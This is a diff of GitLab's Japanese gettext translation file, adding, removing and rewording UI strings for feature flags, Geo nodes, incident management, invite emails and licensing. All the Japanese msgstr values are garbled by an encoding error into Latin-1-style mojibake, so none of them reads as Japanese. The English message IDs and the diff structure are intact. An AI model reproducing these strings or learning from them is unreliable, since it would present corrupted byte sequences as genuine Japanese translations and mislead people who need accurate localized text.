+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
msgstr "Auto stopã®ã‚­ãƒ£ãƒ³ã‚»ãƒ«ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„"
@@ -9425,6 +9745,9 @@ msgstr "%{bStart}%{parentEpicTitle}%{bEnd} ã‹ã‚‰ %{bStart}%{targetEpicTitle}%{b
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "マイルストーンã«åŸºã¥ã„ãŸã‚¨ãƒ”ック㮠%{epicDateType} をスケジューリングã™ã‚‹ã«ã¯ã€ã‚¨ãƒ”ックã®èª²é¡Œã« %{epicDateType} ã®ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã‚’割り当ã¦ã¾ã™ã€‚"
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9752,7 +10075,7 @@ msgstr "証拠集ã‚"
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9773,6 +10096,9 @@ msgstr "マージコミットを除外ã—ã¦ã„ã¾ã™ã€‚%{limit} 件ã®ã‚³ãƒŸãƒƒ
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr "マージコミットを除外ã—ã¦ã„ã¾ã™ã€‚ 6,000件ã®ã‚³ãƒŸãƒƒãƒˆã«åˆ¶é™ã•ã‚Œã¦ã„ã¾ã™ã€‚"
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr "既存ã®ãƒ¡ãƒ³ãƒãƒ¼ã¨ã‚°ãƒ«ãƒ¼ãƒ—"
@@ -9782,9 +10108,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr "既存ã®å…±æœ‰"
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9797,9 +10120,6 @@ msgstr "ã™ã¹ã¦å±•é–‹"
msgid "Expand approvers"
msgstr "承èªè€…を展開"
-msgid "Expand down"
-msgstr "ドロップダウンã®å±•é–‹"
-
msgid "Expand dropdown"
msgstr "ドロップダウンã®å±•é–‹"
@@ -9809,9 +10129,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "サイドãƒãƒ¼ã‚’é–‹ã"
-msgid "Expand up"
-msgstr "ã™ã¹ã¦å±•é–‹"
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9824,9 +10141,6 @@ msgstr "有効期é™"
msgid "Expiration date"
msgstr "有効期é™"
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr "有効期é™åˆ‡ã‚Œ"
@@ -10257,12 +10571,18 @@ msgstr "機能フラグを有効ã«ã™ã‚‹ã¨ã€ç‰¹å®šã®æ©Ÿèƒ½ã¸ã®å‹•çš„切り
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr "機能フラグを使ã„ã¯ã˜ã‚ã‚‹"
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr "ID"
@@ -10347,6 +10667,9 @@ msgstr "機能フラグã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr "ã—ã°ã‚‰ãã—ã¦ã‹ã‚‰ã‚‚ã†ä¸€åº¦è©¦ã™ã‹ã€ã‚µãƒãƒ¼ãƒˆãƒãƒ¼ãƒ ã«é€£çµ¡ã—ã¦ãã ã•ã„。"
@@ -10356,9 +10679,6 @@ msgstr "ユーザーID"
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10398,6 +10718,9 @@ msgstr "ライセンスã®å–å¾—ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ã‚ãªãŸã¯ã“ã‚Œã®å®Ÿ
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr "ファイルフック"
@@ -10623,6 +10946,9 @@ msgstr "フォントã®è‰²"
msgid "Footer message"
msgstr "フッターメッセージ"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr "内部プロジェクトã®å ´åˆã€ãƒ­ã‚°ã‚¤ãƒ³ã—ã¦ã„ã‚‹ã™ã¹ã¦ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ãƒ‘イプラインを表示ã§ãã€ã‚¸ãƒ§ãƒ–ã®è©³ç´°(出力ログãŠã‚ˆã³ã‚¢ãƒ¼ãƒ†ã‚£ãƒ•ã‚¡ã‚¯ãƒˆ) ã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™ã€‚"
@@ -10794,30 +11120,15 @@ msgstr "ノードãŒæ•…éšœã—ã¦ã„ã‚‹ã‹å£Šã‚Œã¦ã„ã¾ã™ã€‚"
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "ノードãŒé…延ã€éŽè² è·ãŒã‹ã‹ã£ã¦ã„ã‚‹ã€ã¾ãŸã¯åœæ­¢ã‹ã‚‰ã®å›žå¾©ç›´å¾Œã§ã™ã€‚"
-msgid "GeoNodes|Attachments"
-msgstr "添付ファイル"
-
-msgid "GeoNodes|Checksummed"
-msgstr "ãƒã‚§ãƒƒã‚¯ã‚µãƒ "
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr "コンテナリãƒã‚¸ãƒˆãƒª"
-
msgid "GeoNodes|Data replication lag"
msgstr "データ レプリケーションã®é…延"
-msgid "GeoNodes|Design repositories"
-msgstr "リãƒã‚¸ãƒˆãƒªã®ãƒ‡ã‚¶ã‚¤ãƒ³"
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "プライマリストレージ構æˆã¨ä¸€è‡´ã—ã¾ã›ã‚“"
-msgid "GeoNodes|Failed"
-msgstr "失敗"
-
msgid "GeoNodes|Full"
msgstr "全体"
@@ -10833,12 +11144,6 @@ msgstr "稼動状æ³"
msgid "GeoNodes|Internal URL"
msgstr "内部 URL"
-msgid "GeoNodes|Job artifacts"
-msgstr "ジョブアーティファクト"
-
-msgid "GeoNodes|LFS objects"
-msgstr "LFS オブジェクト"
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr "カーソルã§å‡¦ç†ã•ã‚ŒãŸæœ€çµ‚イベント ID"
@@ -10866,12 +11171,6 @@ msgstr "ノードã®å‰Šé™¤ã«æˆåŠŸã—ã¾ã—ãŸã€‚"
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr "ãƒã‚§ãƒƒã‚¯ã‚µãƒ ãªã—"
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr "レプリケーションを一時åœæ­¢ã™ã‚‹ã¨ã€åŒæœŸãƒ—ロセスãŒåœæ­¢ã—ã¾ã™ã€‚本当ã«å®Ÿè¡Œã—ã¾ã™ã‹?"
@@ -10893,15 +11192,6 @@ msgstr "レプリケーションスロット"
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr "リãƒã‚¸ãƒˆãƒª"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr "リãƒã‚¸ãƒˆãƒªãƒã‚§ãƒƒã‚¯ã‚µãƒ ã®é€²è¡ŒçŠ¶æ³"
-
-msgid "GeoNodes|Repository verification progress"
-msgstr "リãƒã‚¸ãƒˆãƒªæ¤œè¨¼ã®é€²æ—状æ³"
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -10929,27 +11219,12 @@ msgstr "åŒæœŸè¨­å®š"
msgid "GeoNodes|Unused slots"
msgstr "未使用ã®ã‚¹ãƒ­ãƒƒãƒˆ"
-msgid "GeoNodes|Unverified"
-msgstr "未検証"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr "使用済ã¿ã®ã‚¹ãƒ­ãƒƒãƒˆ"
-msgid "GeoNodes|Verified"
-msgstr "検証済ã¿"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr " Wiki ã®ãƒã‚§ãƒƒã‚¯ã‚µãƒ ã®é€²æ—状æ³"
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr "Wiki 検証ã®é€²æ—状æ³"
-
-msgid "GeoNodes|Wikis"
-msgstr "Wiki"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr "%{geo} を指定ã™ã‚‹ã¨ã€ç‰¹åˆ¥ãªèª­ã¿å–り専用ã®è¤‡è£½ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ã‚’ã©ã“ã«ã§ã‚‚インストールã§ãã¾ã™ã€‚ノードを追加ã™ã‚‹å‰ã«ã€ãれらãŒç¾ã‚Œã‚‹æ­£ç¢ºãªé †åºã§ %{instructions} ã«å¾“ã£ã¦ãã ã•ã„。"
@@ -10962,6 +11237,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11025,6 +11306,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr "ジオステータス"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11157,10 +11444,10 @@ msgstr "åŒæœŸã«å¤±æ•—ã—ã¾ã—㟠- %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "スケジューラ待ã¡"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11337,8 +11624,8 @@ msgstr "期é™åˆ‡ã‚Œ"
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr "HTTPSを強制 (有効ãªè¨¼æ˜Žæ›¸ãŒå¿…è¦)"
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
-msgstr "GitLab Pagesã¯ã“ã®ãƒ—ロジェクトã§ã¯ç„¡åŠ¹ã«ãªã£ã¦ã„ã¾ã™ã€‚ プロジェクトã®%{strong_start} 設定> 全般> å¯è¦–性%{strong_end}ページã§æœ‰åŠ¹ã«ã§ãã¾ã™ã€‚"
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
+msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
msgstr "最åˆã®ãƒ‡ãƒ—ロイ後ã€ã‚µã‚¤ãƒˆãŒåˆ©ç”¨å¯èƒ½ã«ãªã‚‹ã¾ã§ã«æœ€å¤§ã§30分ã‹ã‹ã‚‹å ´åˆãŒã‚ã‚Šã¾ã™ã€‚"
@@ -11454,7 +11741,10 @@ msgstr "全画é¢è¡¨ç¤º"
msgid "Go to %{link_to_google_takeout}."
msgstr "%{link_to_google_takeout} ã«ç§»å‹•ã—ã¾ã™ã€‚"
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11736,6 +12026,9 @@ msgstr "グループã®ãƒ‘イプライン時間ãŒæ­£å¸¸ã«ãƒªã‚»ãƒƒãƒˆã•ã‚Œã¾
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr "グループã«ã¯åˆ¥ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆãŒå¿…è¦ã§ã™"
@@ -12012,7 +12305,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "%{group} 内ã®ãƒ—ロジェクトを他ã®ã‚°ãƒ«ãƒ¼ãƒ—ã¨å…±æœ‰ã—ãªã„よã†ã«ã™ã‚‹"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12225,6 +12518,9 @@ msgstr "正常性情報ã¯æ¬¡ã®ã‚¨ãƒ³ãƒ‰ãƒã‚¤ãƒ³ãƒˆã‹ã‚‰å–å¾—ã§ãã¾ã™ã€‚
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "アクセストークンã¯"
@@ -12240,6 +12536,9 @@ msgstr "異常"
msgid "Hello there"
msgstr "ã“ã‚“ã«ã¡ã¯"
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "ヘルプ"
@@ -12368,6 +12667,9 @@ msgstr "Elasticseachã®ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã‚’分割ã™ã‚‹ã‚·ãƒ£ãƒ¼ãƒ‰æ•°"
msgid "How many users will be evaluating the trial?"
msgstr "トライアルを評価ã™ã‚‹ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ä½•äººã§ã™ã‹ï¼Ÿ"
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "ã—ã‹ã—ã€ã‚ãªãŸã¯ã™ã§ã«ã“ã® %{member_source} ã®ãƒ¡ãƒ³ãƒãƒ¼ã§ã™ã€‚招待をå—ã‘入れるã«ã¯ã€åˆ¥ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’使用ã—ã¦ã‚µã‚¤ãƒ³ã‚¤ãƒ³ã—ã¦ãã ã•ã„。"
@@ -12524,6 +12826,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr "HTTPリãƒã‚¸ãƒˆãƒªã®ã‚¢ã‚¯ã‚»ã‚¹ãŒåˆ¶é™ã•ã‚Œã¦ã„ã‚‹å ´åˆã€èªè¨¼æƒ…報を追加ã—ã¦ãã ã•ã„。"
@@ -12677,6 +12985,9 @@ msgstr "プロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆã«å¤±æ•—ã—ã¾ã—ãŸ"
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr "%{provider} リãƒã‚¸ãƒˆãƒªã®è¦æ±‚ã«å¤±æ•—ã—ã¾ã—ãŸ"
@@ -12692,6 +13003,9 @@ msgstr "リãƒã‚¸ãƒˆãƒªã‚’作æˆã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12704,14 +13018,14 @@ msgstr "GitLab エンタープライズエディションã§ã¯ã€ãƒžãƒ¼ã‚¸ãƒªã‚
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "GitLab エンタープライズエディションを使用ã™ã‚‹ã¨ã€æ¤œç´¢æ©Ÿèƒ½ãŒå¼·åŒ–ã•ã‚Œã€é«˜åº¦ãªã‚°ãƒ­ãƒ¼ãƒãƒ«æ¤œç´¢ãŒå¯èƒ½ã«ãªã‚Šã¾ã™ã€‚"
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
-msgstr "インスタンスレベルã®åˆ†æžã‚’å¯èƒ½ã«ã™ã‚‹ãŸã‚ã«ã€æœ‰åŠ¹ã«ã™ã‚‹ãŸã‚ã«ç®¡ç†è€…ã«ä¾é ¼ã—ã¦ãã ã•ã„ %{usage_ping_link_start}ping ã®ä½¿ç”¨%{usage_ping_link_end}。"
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
+msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
msgstr "正確ãªæ©Ÿèƒ½ã®ä½¿ç”¨çŠ¶æ³ã‚’åŽé›†ã™ã‚‹ãŸã‚ã«ã€ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã‚’確èªã™ã‚‹ã®ã«1〜2週間ã‹ã‹ã‚‹ã“ã¨ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -12719,21 +13033,24 @@ msgstr "正確ãªæ©Ÿèƒ½ã®ä½¿ç”¨çŠ¶æ³ã‚’åŽé›†ã™ã‚‹ãŸã‚ã«ã€ã‚¤ãƒ³ãƒ‡ãƒƒã‚¯
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr "次ã®ã‚¹ãƒ†ãƒƒãƒ—ã§ã¯ã€ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹ãƒ—ロジェクトをé¸æŠžã—ã¾ã™ã€‚"
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr "インシデント管ç†åˆ¶é™"
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12746,6 +13063,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12764,6 +13084,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12839,6 +13162,9 @@ msgstr ""
msgid "Index all projects"
msgstr "全プロジェクトインデックス"
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr "ã“ã®ãƒ©ãƒ³ãƒŠãƒ¼ãŒã‚¿ã‚°ã®ãªã„ジョブをé¸æŠžã§ãã‚‹ã‹ã©ã†ã‹ã‚’示ã—ã¾ã™ã€‚"
@@ -12905,6 +13231,9 @@ msgstr "アプリケーションリãƒã‚¸ãƒˆãƒªã‹ã‚‰ %{free_otp_link} ã‚„Google
msgid "Install on clusters"
msgstr "クラスタ上ã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹"
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr "インストール済ã¿"
@@ -12918,8 +13247,8 @@ msgstr[0] "インスタンス"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
-msgstr "インスタンス統計ã®å¯è¦–性"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr "インスタンス管ç†è€…グループã¯æ—¢ã«å­˜åœ¨ã—ã¾ã™"
@@ -12945,6 +13274,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -12957,13 +13292,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,8 +13325,8 @@ msgstr "é–“éš”ã®ãƒ‘ターン"
msgid "Introducing Value Stream Analytics"
msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã®ç´¹ä»‹"
-msgid "Introducing Your DevOps Score"
-msgstr "DevOpsスコアã®ç´¹ä»‹"
+msgid "Introducing Your DevOps Report"
+msgstr ""
msgid "Invalid Git ref"
msgstr ""
@@ -13005,9 +13337,15 @@ msgstr "無効㪠Insights 設定ファイルãŒã¿ã¤ã‹ã‚Šã¾ã—ãŸ"
msgid "Invalid Login or password"
msgstr "ログインIDã¾ãŸã¯ãƒ‘スワードãŒç„¡åŠ¹ã§ã™ã€‚"
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr "無効㪠URL"
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13104,6 +13442,39 @@ msgstr "メンãƒãƒ¼ã‚’招待ã™ã‚‹"
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13143,6 +13514,9 @@ msgstr "課題"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr "課題 %{issue_reference} をエピック %{epic_reference} ã«è¿½åŠ ã—ã¾ã—ãŸã€‚"
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "課題ボード"
@@ -13242,9 +13616,6 @@ msgstr "YouTrack 課題トラッカー"
msgid "Issues"
msgstr "課題"
-msgid "Issues Analytics"
-msgstr "課題分æž"
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13386,6 +13757,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13428,6 +13802,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr "パスワードã¾ãŸã¯APIトークン"
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr "é·ç§»ID"
@@ -13443,6 +13820,9 @@ msgstr "サーãƒãƒ¼ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼åを使用ã—ã¦ãã ã•
msgid "JiraService|Username or Email"
msgstr "ユーザーåã¾ãŸã¯ãƒ¡ãƒ¼ãƒ«"
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13731,8 +14111,8 @@ msgstr "ラベルを使用ã—ã¦ã€èª²é¡Œã‚„マージリクエストを分類ã§
msgid "Labels can be applied to issues and merge requests."
msgstr "ラベルã¯èª²é¡Œã¨ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã«é©ç”¨ã§ãã¾ã™ã€‚"
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "%{labelTitle} <span>ラベルをグループラベルã«æ˜‡æ ¼ã—ã¾ã™ã‹ï¼Ÿ</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "ラベルã®æ˜‡æ ¼"
@@ -13960,7 +14340,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14053,11 +14433,11 @@ msgstr "ライセンスを削除"
msgid "LicenseCompliance|Remove license?"
msgstr "ライセンスを削除ã—ã¾ã™ã‹?"
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
-msgstr "ã“ã®ãƒ—ロジェクトã«æ‰¿èªæ¸ˆã¿ãŠã‚ˆã³ãƒ–ラックリストã«ç™»éŒ²ã•ã‚ŒãŸãƒ©ã‚¤ã‚»ãƒ³ã‚¹ ã¯ã‚ã‚Šã¾ã›ã‚“。"
+msgid "LicenseCompliance|There are currently no policies in this project."
+msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
-msgstr "ã“ã®ãƒ—ロジェクトã«æ‰¿èªæ¸ˆã¿ã¾ãŸã¯ãƒ–ラックリストã«ç™»éŒ²ã•ã‚ŒãŸãƒ©ã‚¤ã‚»ãƒ³ã‚¹ ã¯ã‚ã‚Šã¾ã›ã‚“。"
+msgid "LicenseCompliance|There are currently no policies that match in this project."
+msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "ã“ã®ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã¯ã™ã§ã«ã“ã®ãƒ—ロジェクトã«å­˜åœ¨ã—ã¾ã™ã€‚"
@@ -14083,6 +14463,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "ライセンス"
@@ -14146,9 +14529,6 @@ msgstr "ライセンスを購入"
msgid "License|License"
msgstr "ライセンス"
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr "アップグレードã«ã‚ˆã‚Šã€ã„ã¤ã§ã‚‚Gold機能ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’復元ã§ãã¾ã™ã€‚"
@@ -14164,9 +14544,6 @@ msgstr "ã‚ãªãŸã®ãƒ©ã‚¤ã‚»ãƒ³ã‚¹"
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr "GitLab Ultimateã®ç„¡æ–™ãƒˆãƒ©ã‚¤ã‚¢ãƒ«ã¯%{trial_ends_on} ã§æœŸé™åˆ‡ã‚Œã«ãªã‚Šã¾ã—ãŸã€‚"
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr "タイムトラッキングã®å˜ä½è¡¨ç¤ºã‚’1時間å˜ä½ã«åˆ¶é™ã™ã‚‹ã€‚"
